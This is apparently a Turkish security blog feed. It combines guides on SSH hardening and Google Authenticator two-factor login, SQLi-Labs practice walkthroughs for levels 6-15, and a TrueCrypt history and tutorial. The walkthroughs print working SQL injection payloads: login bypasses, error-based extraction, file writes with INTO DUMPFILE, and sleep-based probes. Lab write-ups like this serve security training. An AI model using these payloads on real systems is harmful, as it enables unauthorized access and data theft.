Açık anahtarımızı kaydedip çıkıyoruz.
/etc/ssh/sshd_config dosyasını tekrardan açıyoruz
Terminalden: ( Sunucuda )
sudo vi /etc/ssh/sshd_config
Aşağıdaki kodları dosyanın en altına ekliyoruz.
Subsystem sftp internal-sftp Match group sftponly ChrootDirectory /home/%u X11Forwarding no AllowTcpForwarding no ForceCommand internal-sftp
Yukarıda verilen yöntemler sayesinde SSH oturumu açmış kullanıcıların kendi dizinlere etkiyebilmesini sağladık. Standart olarak SSH 22. porttan çalışmaktaydı, onu değiştirdik. Şifre ile oturum açmayı engelledik bu giriş yöntemi yerine daha güvenli olarak önerilen SSH anahtarını kullandık. Sistemimize tünelleme aracılığı ile sağlanabilecek uzak masaüstü bağlantılarını engelledik. Hiyerarşik bir ağ yapısında olduğu varsayılan sunucumuza daha yetkili üst makinalardan erişimi kısıtladık. Sisteme kullanıcı olarak oturum elde etmiş kullanıcıların root yetkilerine erişimini engelledik. SSH bağlantınızı daha güvenli hale getirmek için port spoofing, port knocking ve two factor authentication ( iki aşamalı oturum onayı ) kullanabilirsiniz.
Sunucumuza bağlanırken güvenliğimizi arttırmak için ssh için google authenticator ile 2 aşamalı doğrulamayı kuracağız. İlk önce google-authenticator pam modülünü kurmamız lazım ister kaynaktan (https://github.com/google/google-authenticator) ister paket yöneticisi ile kurabilirsiniz. İşimizi uzatmamak için bu yazıda paket yöneticisi ile kuruyoruz. Terminali açalım ve aşağıdaki komutu yazalım sudo apt-get install libpam-google-authenticator Modülümüzü kurduktan sonra PAM konfigrasyon […]
]]>Sunucumuza bağlanırken güvenliğimizi arttırmak için ssh için google authenticator ile 2 aşamalı doğrulamayı kuracağız.
İlk önce google-authenticator pam modülünü kurmamız lazım ister kaynaktan (https://github.com/google/google-authenticator) ister paket yöneticisi ile kurabilirsiniz. İşimizi uzatmamak için bu yazıda paket yöneticisi ile kuruyoruz.
sudo apt-get install libpam-google-authenticator
sudo nano /etc/pam.d/sshd
# Doğrula beni google auth required pam_google_authenticator.so
ve kaydedip çıkalım. (ctrl+o enter ctrl+x)
sudo nano /etc/ssh/sshd_config ChallengeResponseAuthentication no
yazan yeri bulup bu şekilde değiştirelim
ChallengeResponseAuthentication yes
Kaydedip çıkalım
/etc/init.d/ssh restart
google-authenticator
çalıştıralım.
Burada istersek barkod okuyucuyla gizli anahtarımızı telefona ekleyebiliriz fakat qr kod taramamız için 3.parti uygulama gerekecek o yüzden biz secret key yazan yeri bir köşeye kopyalayalım birazdan lazım olacak.
Bunun dışında 5 tane kod görüyoruz bu kodları acil durumlar için başka yere not edelim mesela telefonunuz yanınızda değilse bu kodlar sayesinde yine giriş yapabilrisiniz.
“Not: Aşağıdaki gibi onaylama işleminizi yaptıysanız kodları ev dizininize gelip gizli dosyaları göster yaptığınızda .google_authenticator dosyasındankodları görebilirsiniz ya da yine terminalden
cat .google_authenticator
yazarak görüntüleyebilirsiniz”
Gerekli yerleri kopyaladıysak soruları kendimize göre cevaplayalım. Ben hepsini “y” yazarak onayladım.
SQL-i Labs 10-15 Merhaba arkadaşlar , bu yazı dizimizde 10-15. alıştırmaları göreceğiz. Bizim için işler artık biraz zorlaşıcak gibi o yüzden kahvelerinizi eksik etmeyin 🙂 Uyarı : Burada yapılan çoğu uygulama belki gerçek hayatta karşınıza bu şekilde kabak(başka hangi kelime ile bu kadar güzel ifade edilir ) gibi çıkmayacaktır.Alıştırmalar tamamen experience ( deneyim ) kazanma […]
]]>SQL-i Labs 10-15
Merhaba arkadaşlar , bu yazı dizimizde 10-15. alıştırmaları göreceğiz.
Bizim için işler artık biraz zorlaşıcak gibi o yüzden kahvelerinizi eksik etmeyin
Uyarı : Burada yapılan çoğu uygulama belki gerçek hayatta karşınıza bu şekilde kabak(başka hangi kelime ile bu kadar güzel ifade edilir ) gibi çıkmayacaktır.Alıştırmalar tamamen experience ( deneyim ) kazanma üzerine kuruludur.
Önce ki yazılara ulaşmak için :
Öncelikle şunu da söylemek istiyorum.Yine bir önceki yazılarımızda olduğu gibi sadece bypass yöntemlerini göstereceğiz ve diğer levele geçeceğiz.Siz isterseniz bütün tabloları çekmeye çalışabilirsiniz.Takdir edersiniz ki bütün levellerde bunu yaparsak bizden önce yazıyı okurken siz sıkılırsınız
Anlaştıysak başlayalım.
Level 11 :
Daha önceki levellerimize bakarak burada karşımıza bir login ekranı çıkıyor.Burada bizim bir şekilde buraya login olmamız gerekiyor.Bu konuda bizim en basit payload’ımız neydi ?
"or 1=1 ---+
Bi deneyelim hmmm işe yaramadı sanırım.Neyse biz sadece username kısmına tek tırnak çift tırnak atarak hata verdirmesini sağlayalım.Tek tırnak attığınızda aşağıda ki hatayı alacaksınız.
O zaman bizde payload’ımızı tek tırnak ile deneyelim.
' or 1=1 --+
Bu şekilde girdiğinizde uygulamaya bir şekilde login olduk.Olma sebebimize gelirsek eğer
1=1 eşitliği her zaman True döndüreceğinden dolayı bizi sisteme dahil etti.
Yani şöyle düşünün oraya gerçek bir username password yazsaydık ve bu doğru olsaydı şu şekilde bir operatör ile doğruluğu kontrol edilecekti.
eğer username=cypm and password=123456 == True yazdır 'Giriş başarılı.' değilse yazdır ' Giriş başarılı değil.'
Level 12:
Bu levelimizde ismine bakarsak aslında 11.level ile aynı tek farkı çift tırnak koymamız olacak fakat bunu aşağıda ki şekilde denediğimizde başarılı bir şekilde login olamıyoruz.
" or 1=1 --+
Bu kısımda tamamen doğaçlama yaparak sql sorgusunun hata verebilmesi için
'" (Tek tırnak + Çift Tırnak )
payloadını kullanarak hata verdirdim.
Ve orada gördüm ki parantez işaretleri bulunuyor.Yani bu demek oluyor ki kapatmamız gereken bir parantezimiz var.( Şuan belkide alıştırma dışına çıkmış bile olabiliriz )Hemen aşağıda ki payload’ı girdim.
")or 1=1 #
Ve okus pokus septimus severus ( kendisi roma imparatorudur bu arada )
Level 13 :
Geldik Double injection olan kısıma normal bir insan olsak burada kurallara , yönergelere uyarak çift sorgu ile bir şekilde bu leveli bypass edip geçmeyi düşünürdük.Değil mi ?
Ama biz normal miyiz ? Duyamadım ? Evet değiliz.
O yüzden double injection niye yazalım ki ?
Hemen yine sql sorgumuza error verdirtelim.
Gördüğünüz gibi buradada bir parantez var ve bunu kapatmalıyız.Bu arada hatayı
"'
ile verdirttim.
Hemen payloadımızı girelim ve sonuca arkamıza yaslanarak bakalım.
')or 1=1 #
Yaşasın HackerMind!
Level 14 :
Bu level de de double injection isteniyor fakat ben yine niye uğraşayım ki double injection ile ?
Tabi enes durur mu yapıştırmış payload’ı
"or 1=1 #
Level 15:
Bu levelimizde Boolian based yani Bool ifade ile giriş yapmamız isteniyor.Nedir bool ifade ?
Türkçe olarak düşündüğümüzde Doğru ve Yanlış.
Yabancılarda ise True ve False şeklinde.
Detaylı açıklama için : https://tr.wikipedia.org/wiki/Boole%27ca
Yani burada yapmamız gereken aslında level 11 de ki gibi
giriceğimiz bir ifadenin bize True döndürmesi gerekiyor.O yüzden bizim en basit true döndüren payloadımız nedir ?
1 = 1’dir.
O zaman payloadımızı yazalım.
" or 1=1 #
Veeeee aman Allah’ım o da ne ? Login olamadık.
Demek ki neymiş ? Ezbere gitmeyecekmişiz mantığını öğrenecekmişiz.Birde bana güvenmeyecekmişsiniz
Burada ki payload’ımız yukarıda ki payload değil aşağıdakidir.
' or 1=1 #
]]>Not:Ne sizin ne de benim yazıyı okurken/yazarken sıkılmamanız için karşılıklı dialog şeklinde ve biraz laubali şekilde yazmış olabilirim.Eğer bu konu hakkında eleştiriniz vs. var ise yorum atabilir veya mail gönderebilirsiniz.
Bir daha ki yazımızda görüşmek üzere.
Merhabalar daha önce 0-5 level arasını şurada ki linkte paylaşmıştık. TR | SQL-i Labs Walkthrough Basic 0-5 Bugün ise bir seri şeklinde 6-10 level arasını birlikte çözeceğiz. Level 6 : Bu levelimiz aslında level 5 ile aynı tek farkı ” ‘ ” kullanmak yerine ” ” ” kullanmamız. Level 5 için : https://canyoupwn.me/sql-i-labs-walkthrough-basic-0-5 1"+and(select 1 […]
]]>Merhabalar daha önce 0-5 level arasını şurada ki linkte paylaşmıştık.
Bugün ise bir seri şeklinde 6-10 level arasını birlikte çözeceğiz.
Level 6 :
Bu levelimiz aslında level 5 ile aynı tek farkı ” ‘ ” kullanmak yerine ” ” ” kullanmamız.
Level 5 için : https://canyoupwn.me/sql-i-labs-walkthrough-basic-0-5
1"+and(select 1 FROM(select count(*),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) --+
Level 7 :
Bu levelde bizden sorgularımızı biz dosyaya aktarmamızı istiyor.Aslında buna mecbur bırakıyor yoksa biz tabi ki basit yolu seçmeyi isteriz.
Burada ki payloadımızda ilk baş bi tek tırnak ile deneme yapalım isterseniz.Biz tek tırnak attığımızda hata vericektir.Doğru bir yolda gidiyor gibi duruyoruz.
select * into dumpfile "hebelehubele.sql"
Bizde şu sorguyu gerçekleştiriyoruz.
1'union select 1,2,3 into dumpfile "hebelehubele.txt"
Yukarıda ki sorguyu kullandığımızda bize hiç bir çıktı vermediğini görüyoruz.Demek ki bi yerlerde hata yapıyoruz.Evet hatanın sebebini buldum fakat bunu deneme yanılma yöntemiyle değil hileye başvurarak buldum.
Nedir bu hile ? : Kaynak kodlarına bakmak.Gerçekte böyle bir senaryo ile karşılaştığınızda bu imkanınız elinizde bulunamayabilir.
Burada sitenin sorgusunun içinden aşağıda ki şekilde çıkmamız gerekiyor.
1')) sorgunuz
Bu şekilde sorgu içinden çıktıktan sonra artık sorgu sonucunu bir dosyaya yazdırabiliriz.
1'))union select 1,2,3 into dumpfile "/tmp/mirkelam.txt"--+
Level 8 :
İlk önce tek tırnak atalım.Gördüğünüz gibi you are in yazısı kayboldu.
Şimdi burada amacımız burada sql injection olduğunu kanıtlamak.Bunun içinde sorgu denemeleri yapıcaz ve sorguyu kontrol edebiliyor muyuz ? Bunu kontrol edicez.
1'and 1=1 --+
Yaptığımızda bize yine you are in yazısını göstericek.Belki kod da bi yanlışık vardır sorguyu yine kontrol edebiliyor muyuz deneyelim.
1'and 1=2 --+
Yukarıda ki payload’ı girdiğimizde you are in yazısı yine kayboldu demek ki neymiş biz sorguyu kontrol edebiliyormuşuz.
Level 9 :
.
Level 8 e benzer bir yapısı var bu levelinde tek farkla level 8 de 199 gibi id ler girdiğimizde bize hiç bir text dönmüyordu.Fakat level 9 da bu şekilde değil.
?id=500000
yazarsanız hala aynı şekilde durduğunu göreceksiniz.
Burada yine körlemesine dalıyoruz ve şu payloadı yazıyoruz.
?id=1'and sleep(10) --+
Bu payload ı yazıp enterladığınızda sayfa 10 saniye kadar ( fazlada olabilir emin olamadım şimdi ) beklemeye geçicek bu da ne demektir ? Burada sql injection var demektir.
Level 10 :
Bu levelimiz level 9 ile aynıdır.Tek fark ” ‘ ” yerine ” “(çift tırnak) ” kullanıyor oluşumuz.
Payloadımız
1"and sleep(10) --+]]>
TrueCrypt Tanım:Açık kaynak kodlu olarak geliştirilen ücretsiz bir kriptolama yazılımıdır. Amaç:Tarihte ilk zamanlardan itibaren bilgi insan hayatında en önemli yerini almıştır.İnsanoğlu yaşamını devam ettirmek ve kolay bir hale getirmek için sürekli düşünerek,sorgulayarak bilgi elde etmeye çalışmıştr.Zamanla elde edilen bu bilgiler geliştirilerek günümüzde kullanılan teknolojilerin ortaya çıkmasına sebep olmuştur. Çağımızda ise bilgi güvenliği büyük bir önem […]
]]>Tanım:Açık kaynak kodlu olarak geliştirilen ücretsiz bir kriptolama yazılımıdır.
Amaç:Tarihte ilk zamanlardan itibaren bilgi insan hayatında en önemli yerini almıştır.İnsanoğlu yaşamını devam ettirmek ve kolay bir hale getirmek için sürekli düşünerek,sorgulayarak bilgi elde etmeye çalışmıştr.Zamanla elde edilen bu bilgiler geliştirilerek günümüzde kullanılan teknolojilerin ortaya çıkmasına sebep olmuştur.
Çağımızda ise bilgi güvenliği büyük bir önem kazanmıştır.Bilginin kötüye kullanılmasını önlemek amacıyla bu alanda yeni teknoloji arayışlarına girilmiştir.Bilgilerin depolanması,bunların iletilmesi gibi alanlarda güvenlik artık önemli bir gereksinim haline gelmiştir.Bu alanlardan bilgilerin depolanması konusunda karşımıza birçok yazılım çıkmaktadır.Bunlardan biri ise TrueCrypt yazılımıdır.TrueCrypt verilerinizi saklamak,kriptolamak için geliştirilmiş bir yazılımdır.Verilerinizi depoladığınız depolama cihazınızın tamamını ya da belirttiğiniz bir bölümünü çeşitli algoritmalar(mantık,yöntemler) kullanarak şifreli bir hale dönüştürebilmektedir.
Tarihçe:TrueCrypt 1.0 versiyonu ile 2004 yılı Şubat ayında piyasaya sürülmüştür.Piyasaya sürüldükten sonra zaman içerisinde geliştirilmeye devam edilmiştir.Ve en son versiyon olarak 7.2 versiyonu bilinmektedir.
A)Versiyon Çıkış Tarihleri Ve Bazı Önemli Değişiklikler:
-Versiyon 1.0 2 Şubat 2004’te yayımlandı.Windows 98,ME,2000 ve XP sistemleri desteklediği öne sürüldü.
-Versiyon 1.0a 3 Şubat 2004’te Windows 98 ve ME sistemlerden desteğini çekti.
-Versiyon 2.0 7 Haziran 2004 AES şifreleme algoritması eklendi.
-Versiyon 2.1 21 Haziran 2004 RİPEMD-160 hash algoritması eklendi,NTFS birimleri oluşturma yeteneği eklendi,bir birim boyutu limiti 2048 GB ‘a kadar geliştirildi.
-Versiyon 2.1a 1 Ekim 2004 IDEA şifreleme algoritması kaldırıldı,Sourgeforge.net resmi TrueCrypt alan adı sahibi oldu fakat Mayıs 2005’te tekrar truecrypt.org sitesine taşındı,Sourgeforce web sitesi buraya yönlendirmeye başladı.
-Versiyon 3.0 10 Aralık 2004 Serpent ve Twofish algoritmaları eklendi.
-Versiyon 3.1 22 Ocak 2005 çeşitli iyileştirmeler ve hata düzeltmeleri yapıldı.
-Versiyon 4.0 1 Kasım 2005 Önemli sayılabilecek bir olay olan Linux x86-x64 sistemlerine destek getirildi,Whirlpool hash algoritması eklendi,ve dil paketleri desteği getirildi.
-Versiyon 4.1 25 Kasım 2005 On-the-fly depolama şifrelemesi için CBC modunda daha güvenli olan LRW modu eklendi.(LRW:Liskov-Rivest-Wagner)
-Versiyon 4.2 17 Nisan 2006 Linux ve Windows sistemler için çeşitli geliştirmeler yapıldı.
-Versiyon 4.3 19 Mart 2007 Windows Vista desteği getirildi.
-Versiyon 5.0 5 Şubat 2008 Mac OS X desteği getirildi,Linux ve Windows sistemler için çeşitli geliştirmeler ve düzenlemeler yayınlandı.
-Versiyon 5.1 10 Mart 2008 Windows sistemlerde hazırda bekleme desteği eklendi ve sistem bölümlerini şifreleme yeteneği eklendi,Mac OS X ve Linux sistemlerde yeni bölümler için komut satırı ayarları eklendi,AES şifreleme performansı geliştirildi.
-Versiyon 6.0 4 Temmuz 2008 Deniable şifreleme desteği getirildi,Çoklu işlemci sistemleri ve çok çekirdekli sistemler için geliştirmeler yapıldı,Mac OS X ve Linux sistemlerde gizli birimleri oluşturma ve şifreleme desteği getirildi.
-Versiyon 6.0a 8 Temmuz 2008 Uygun olmayan yonga setleri yüklü olan sistemlerde sistem bölümü/sürücüsü şifrelemek istersek hatalarla karşılaşılıyordu ve bunun tespiti yapıldı,Diğer bazı hatalar onarıldı.
-Versiyon 6.1 31 Ekim 2008 Windows Vista için geliştirmeler yapıldı,Windows 2008 desteği eklendi,Önyükleyici özelleştirilebilir hale getirildi,Linux ve Mac OS X sistemlere şifreli Windows sürücülerini çıkartma desteği eklendi.
Versiyon 6.1a 1 Aralık 2008 Bazı hata düzeltmeleri ve iyileştirmeler yapıldı,Güvenlik geliştirmeleri eklendi.
Versiyon 6.2 11 Mayıs 2009 Windows sistemlerde geliştirmeler yapıldı.
Versiyon 6.2a 15 Haziran 2009 Bazı iyileştirmeler ve hata onarımları sağlandı.
Versiyon 6.3 21 Ekim 2009 Windows 7 ve Mac OS X 10.6 SnowLeopard desteği getirildi.
Versiyon 6.3a 23 Kasım 2009 Belirtilmeyen küçük bazlı iyileştirmeler ve hata düzeltmeleri yapıldı.
Versiyon 7.0 19 Temmuz 2010 AES kısmı hızlandırıldı.
Versiyon 7.1 1 Eylül 2011 Mac OS X 10.7 Lion 64-bit ve 32-bit sistemler ile tam uyumluluk sağlandı,İyileştirmeler ve hata onarımları sağlandı.
Versiyon 7.1a 7 Şubat 2012 Windows,Mac OS X,Linux sistemler için iyileştirmeler ve hata düzeltmeleri yapıldı.
Versiyon 7.2 28 Mayıs 2014 Program özellikleri sadeleştirildi ve kısırlaştırıldı.Ve tüm işletim sistemlerinden destek çekildi.Program geliştirmeleri durduruldu.
B)Sonlandırılma Senaryoları:
Kurumsal ve bireysel olarak popüler bir şekilde kullanım alanı olan TrueCrypt yazılımının ömrünün sonlanmasıda bir o kadar popüler ve kafa karıştırıcı olmuştur.
Son versiyonlarındaki güvenlik açıkları sorunlarını güncellemelerle çözen geliştirici ekibi 2014 Mayıs ayında geliştirmeyi ve güncellemeleri durduklarını ilan etmiştir.Ayrıca Google Project Zero mühendislerinden James Forshow twitter üzerinden açıkladığı bildiride iki farklı güvenlik açığı bulduğunu bildirmiştir.
Microsoft XP’ye desteğini durdurmasının ardından 2014 Mayıs ayında TrueCrypt sitesinde bir bildirim yayınlayarak desteğini sonlandırdığını duyurmuştur.
Bu konu hakkında çeşitli spekülatif senaryolar üretilmeye başlanmıştır.Çok popüler olan şifreleme yazılımı yaptığı güvenlik testlerini başarıyla geçtiğini duyurmasından sonra olay yaratan bir açıklamayla desteği sonlandırması gerçekten de akıllarda soru işareti bıraktı.
Amerika Birleşik Devleti’nin kriptoloji konusunda uzman olan istihbarat teşkilatı NSA istihbarat toplama noktasında birçok yazılım ve donanıma müdahele ettiği bilinmektedir.TrueCrypt’in bu açıklamasından sonra NSA’e backdoor sağladığı düşünceleri konuşulmaya başlanmıştır.
Açık kaynak kodlu bir yazılım olan TrueCrypt yazılımcıların ve analistlerin testlerine zaten dahil olmaktaydı.Kaynak kodları incelendiğinde backdoor bulunmadığı belirtilmiştir.Fakat yazılımların açık kaynak kodlu olması herhangi bir backdoor bulundurmayacağını garanti edemez.Açıklanan bildiride TrueCrypt artık yazılımın güvenli olmadığını ve kullanıcıların Bitlocker yazılımını kullanması gerektiğini önermektedir.
Herhangi bir güvenlik konusunda Microsoft’un devletlerle işbirliği yaptığı bilinmektedir.Bu açıklamadan sonra bir grup analistin fikri de TrueCrypt’in NSA’e backdoor sağlamadığı için baskılarla karşılaştığını ve sonlandırılmaya yönlendirildikleri fikri ortaya atılmıştır.Ayrıca işin ticari yönüde görmezden gelinmemelidir.Ücretli olan kapalı kaynaklı yazılımlar tercih edilmesi içinde bir baskı oluşturulmuş olabilir.
Bu senaryolara rağmen TrueCrypt sonlanma hikayesi net olarak bilinmemektedir.
Edward Snowden’den Cory Doctorow’a kadar alanın pek çok ünlü isminin de gözdesi olan TrueCrypt böylece 2014’ün Mayıs ayında ömrünü tamamlamıştır.
Şimdi TrueCrypt yazılımının başlıca özelliklerini belirttikten sonra kurulum ve kullanım aşamasına geçelim.
TrueCrypt Başlıca Özellikler:
-Tasarımda kullanılan programlama dilleri:C,C++,Assembly’dir.
-Yazılımın kullandığı kriptolama algoritmaları şunlardır;
-On-the-fly kriptolama yöntemini kullanmaktadır.Yani kriptolama otomatik,gerçek zamanlı ve hızlıdır.Kriptolama sonrasında kriptolanan sürücü veya container hemen kullanılabilir.Kriptolanmış containerda veri transferinde bir aksaklık yaşanmaz yani işlemler hızlı bir şekilde gerçekleştirilebilir.
-Yazılım kriptolanmış bir sanal disk oluşturur ve onu gerçek fiziksel bir diskmiş gibi sisteme entegre edebilir.
-Flash disk ya da hard disk gibi bütün bir bölümü ya da depolama aygıtını kriptolayabilir.
-Bazı işlemciler “Hardware-Accelerated”(Donanım Hızlandırma) AES kriptografisini desteklemektedir.Özellikle modern işlemcilerin desteklediği bu özellik ile normalden 4 veya 8 kat hızlı kriptolama işlemi yapılabilmektedir.
-Kullandığı AES,SERPENT,TWOFISH kriptolama algoritmalarının 2’li ve 3’lü kombinasyonları ile kriptolama yapabilmekte ve bu sayede güvenliği arttırmaktadır.
-Header ve footer bilgilerini içerisinde barındırmaz.Bu yüzden kriptolanan containerın hangi algoritma ile kriptolandığı bilinmemektedir.Ayrıca oluşturulan container TrueCrypt dosyası olup olmadığı dahi bilinemeyebilir.
-TrueCrypt kendi anahtarlarını ram de saklar.Sistem enerjisi kesildiğinde DRAM birkaç saniyeliğine de olsa veri içeriklerini koruyacaktır.
-Performans olarak Paralizasyon ve Pipeling özellikleri devreye girer ve kullanımı kolaylaştırma çalışmaları yapar.(Paralizasyon:Çok çekirdekli işlemci sistemlerinde iş yükünü tüm çekirdeklere eşit şekilde dağıtarak performansı arttırmaya yönelik girişimleri uygular.Pipeling:Kriptolanmış sürücüden veri okunmaya başlandığı andan itibaren verinin ramdeki bulunduğu adrese zıplar.Siz bu adresteki verileri okurken bir sonraki adrese gidilir ve veriler analiz edilmeye başlanır.Yani siz verileri okurken pipeling sonraki adresteki verileri sizin için hazırlamaya başlar.Bir nevi program counter gibi çalışmaktadır.Böylece hız açısından performans arttırmaya yönelik girişimler uygulanmış olur.)
-Bir diğer özellik ise hidden volume özelliğidir.Bu kısımda Standart volume yanında hidden volume oluşturulur.Bu 2 alanın parolaları ayrıdır.Standart volume kısmında deşifre edebileceğiniz verileri depolayabilirsiniz.Acil ve olağan dışı durumlarda parolayı deşifre etmeniz gerektiğinde standart volume parolasını vererek güvenlik atlatma-aldatma yöntemini kullanabilirsiniz.Bu şekilde hidden volume kısmındaki veriler deşifre olmamış olur.
-Yazılımın kullandığı hash algoritmaları;
-Tüm algoritmalarda 256-bit kriptolama vardır.
-Ayrıca Windows sistemlerde işletim sistemide kriptolanabilme özelliğine sahiptir.Sistem sürücüsünü kriptolayarak sisteminizi izinsiz kullanımlara karşı güvenli kılabilirsiniz.Bu seçenekte belirlediğiniz parolayı sistemi boot ederken kullanıcıya sormaktadır.
-Flexnet Publisher ve Safecast üçüncü parti yazılımları TrueCrypt bootloader(önyükleyici) kullanan Windows sürücü/bölümlerine zarar verebilmektedir.Ve uyum sorunu yaşanabilir.Bu da Windows sistemlerde TrueCrypt önyükleyicisinin çalışmasına engel olabilir ve sisteme erişim sağlanamayabilir.
TrueCrypt’in bazı önemli özelliklerinden bahsettikten sonra kurulum ve kullanım aşamasına geçebiliriz.
Kurulum Aşaması:
-İlk olarak kurulum dosyasını indirebileceğimiz kaynaklar şunlardır;
Adres 1: https://www.grc.com/misc/truecrypt/truecrypt.htm
Adres 2: https://github.com/AuditProject/truecrypt-verified-mirror/tree/master/Linux
Adres 3: https://www.truecrypt71a.com/downloads/
-Bu adreslerden sisteminize uyumlu olan kurulum dosyasını indirip kurulum yapabilirsiniz.
-Bizim inceleme yapacağımız işletim sistemi Kali 2.0 64-bit’tir.
-Verdiğimiz adreslerden kurulum dosyasını indiriyoruz ve eğer tar şeklinde arşivlenmişse arşivden çıkarıyoruz.
.truecrypt-7.1a-setup-x64 dosyasını indirdik ve Desktop dizinine taşıdık.
1.Adım
-Terminal ekranından kurulum dosyasını çıkardığımız dizine gidiyoruz ve kurulumu başlatacak komutu giriyoruz.
./truecrypt-7.1a-setup-x64
Bu şekilde kurulumu başlatıyoruz.
2.Adım
-Kurulum başladıktan sonra karşımıza bir xmessage ekranı gelmektedir.Bu ekrandan “Install TrueCrypt”i seçelim.
3.Adım
-Daha sonra karşımıza Lisans sözleşmesi onay ekranı gelmektedir.Accept seçeneği ile onaylarak bir sonraki aşamaya geçelim.
4.Adım
-Karşımıza gelen ekranda TrueCrypt’i kaldırmak istersek çalıştıracağımız dosyayı göstermektedir.Bu dosyayı /usr/bin/ dizini içinde bulabiliriz.Burdan OK seçerek devam ediyoruz.
5.Adım
-Bu adımda kurulum tamamlanmaktadır.”Enter”a basmamızı istemekte ve kurulumu sonlandırmamızı istemektedir.Enter’a basıyoruz ve kurulumu tamamlıyoruz.
-5 Adımda kurulumu tamamladık.Şimdi programımızı çalıştıralım ve kullanıma geçelim.
Kullanım Aşaması:
1.Adım
-İlk olarak programı terminal ekranından çalıştıralım.Terminal ekranında “truecrypt” yazıp enter’a basarak programı çalıştırabiliriz.
2.Adım
-Program çalışmaya başlamıştır.Karşımıza programın arayüz ekranı gelmektedir.
3.Adım
-“Create Volume” seçip yeni bir container oluşturalım.Bu seçeneğe tıkladıktan sonra karşımıza şu ekran gelmektedir.
-Burada bize 2 seçenek sunulmaktadır.
-Create an encrypted file container:Yeni bir container oluşturarak bu alanda kriptolama işlemi yapabilmekteyiz.Çoğunlukla tercih edilen seçenektir.Containerın boyutunu ilerde ayarlayacağız.Burada oluşturduğumuz containerı ilerideki adımlarda göstereceğimiz şekilde ana menüden ekleyerek sistemimize entegre edeceğiz.
-Create a volume within a partition/drive:Bu seçenekte ise herhangi bir bölümü veya sürücüyü örneğin flash belleğimizi kriptolayabiliriz.İstersek gizli bir container oluşturabiliriz.
-Biz 1.seçeneği tercih edip next diyerek devam ediyoruz.
4.Adım
-Bu kısımda bize yeniden 2 seçenek sunulmaktadır.
-Standart TrueCrypt volume:Bu seçenekte standart bir container oluşturup kriptolama işlemi yapılmaktadır.
-Hidden TrueCrypt volume:Bu seçenekte ise özelliklerde değindiğimiz gizli container kriptolaması yapılmaktadır.Acil ve olağan dışı durumlarda bu container’ı seçebiliriz.
-1.seçeneği tercih ederek next diyoruz ve devam ediyoruz.
5.Adım
-Bu kısımda bizden container dosyasının oluşturulacağı yolu belirtmemizi istemektedir.
-Biz /root/Desktop yoluna “deneme” isimli container dosyası oluşturuyoruz.Siz istediğiniz dizine oluşturabilirsiniz.Bunları belirttikten sonra save’e tıklıyoruz.Ve karşımıza şu ekran gelmektedir.
-Burdan next diyerek devam ediyoruz.
6.Adım
-Bu kısımda hangi kriptolama algoritmasını ve hash algoritmasını kullanmak istediğimiz sorulmaktadır.Ayrıca seçtiğimiz algoritmayı test edebiliriz.Buna ek olarak Benchmark seçeneği ile sistemimizi sınayabilir hangi performansı alabildiğimizi görebiliriz.
-SHA-512 hash algoritması daha güvenli bir algoritma olduğu için biz onu seçiyoruz.Encryption Algorithm’de ise AES algoritmasını seçiyoruz.Bu kısımdaistediğiniz algoritma tercihlerinizi seçebilirsiniz.Next diyerek devam ediyoruz.
7.Adım
-Bu kısımda oluşturmak istediğimiz container boyutunu belirtiyoruz.İstediğimiz büyüklükte olabilir.
8.Adım
-Bu kısımda oluşturacağımız container’a parola atamaktayız.Program 64 karaktere kadar olan parolaları kabul etmektedir.20 karakterden az olan parolalarda program uyarı vermektedir ve tavsiye etmemektedir.Biz deneme olduğu için parolayı “12345” olarak girmekteyiz ve next diyerek devam ediyoruz.Burada ayrıca daha önceden oluşturduğunuz key file’ı(anahtar dosyasını) da kullanabilirsiniz.Parolamız kısa olduğu için uyarı vermektedir yes diyerek devam ediyoruz.
9.Adım
-Bu kısımda ise oluşturacağımız containerın dosya yapısını seçmemiz istenmektedir.Linux Ext4 diyerek devam ediyoruz.
10.Adım
-Bu kısımda ise bize 2 seçenek sunulmaktadır.İlk seçenek oluşturduğumuz container diğer işletim sistemlerinde de çıkartılabilir olmasıdır.İkinci seçeneğimiz ise sadece Linux sistemlerde entegre edilebilir olmasıdır.İkinci seçeneği tercih edip devam ediyoruz.
11.Adım
-Bu kısımda artık containerımızı oluşturma aşamasına gelmekteyiz.
-Important kısmındaki önemli açıklamada şunu belirtmektedir;
-Önemli:Bu pencere içinde mouse’u olabildiğince çok ve rastgele şekilde hareket ettiriniz.Böylece rastgele havuz içinde daha karmaşık hash üretebilirsiniz.Bu işlem kriptolama anahtarlarının kriptografik gücünü önemli ölçüde arttırmaktadır.
-Yeteri kadar mouse’u hareket ettirdikten sonra format seçeneği ile container dosyamızı oluşturmaya başlayabiliriz.
-Tamamlanma aşamasını görmekteyiz.Program kriptolama işlemini gerçekleştirmektedir.
-İşlem tamamlandığında başarı ile tamamlandı bildirisi gelmektedir.Ok diyerek geçiyoruz ve boyutunu belirlediğimiz,mount ederken istenilen parolayı atadığımız container dosyamız belirttiğimiz dizinde oluşmaktadır.
12.Adım
-Programın ana menüsüne dönüyoruz ve oluşturduğumuz container dosyasını kullanmaya başlıyoruz.Ana menüden Select File seçeneği ile oluşturduğumuz dosyayı seçiyoruz.
13.Adım
-Dosyamızı seçtikten sonra istediğimiz bir slotu seçiyoruz ve dosyamız artık mount edilmeye hazır hale gelmektedir.Mount seçeneği ile oluşturduğumuz container dosyamızı sisteme entegre ediyoruz.Bizden belirlediğimiz parolayı girmemiz isteniyor parolayı girip ok diyoruz.
14.Adım
-Ve oluşturduğumuz container kullanıma hazırdır.Artık istediğimiz dosyaları bu container içine depolayabiliriz ve dilediğimiz gibi kullanabiliriz.
-Kullanımı sonlandırdıktan sonra Dismount All seçeneği ile sisteme entegre ettiğimiz containerı devre dışı bırakabiliriz ve istediğimiz zaman mount ederek kullanabiliriz.
Kaldırma Aşaması:
-Bu kısımda programı nasıl kaldıracağımızı gösteriyoruz.
-Aşağıdaki görüntüdeki komutlar ile programı kolay bir şekilde kaldırabiliriz.
